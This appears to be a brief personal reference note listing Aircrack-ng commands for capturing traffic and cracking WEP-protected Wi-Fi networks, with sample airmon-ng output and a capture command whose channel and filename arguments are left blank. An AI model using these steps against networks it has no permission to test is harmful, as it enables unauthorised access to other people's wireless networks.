There are more than enough Aircrack-ng tutorial on the web. I just put down the command to use for later reference here

Start wlan0 monitor mode

root@kali:~# airmon-ng start wlan0
Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

  PID Name
 2188 dhclient
 2287 NetworkManager
 3152 wpa_supplicant
 3177 dhclient

PHY	Interface	Driver		Chipset

phy0	wlan0		ath9k_htc	Atheros Communications, Inc. AR9271 802.11n
		(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
		(mac80211 station mode vif disabled for [phy0]wlan0)


root@kali:~# 

Looking at which WIFI in your area

root@kali:~# airodump-ng wlan0mon

RESULT NOT SHOWN HERE, IT EXPOSES MY LOCATION INFORMATION

Mark down the BSSID, Channel and ESSID, in particular, only WEP can be cracked.

airodump-ng --channel  --bssid 00:09:5B:D7:43:A8 --write  

You will get a bunch of files, we are only interested in the “cap” file

sudo aircrack-ng .cap

DONE….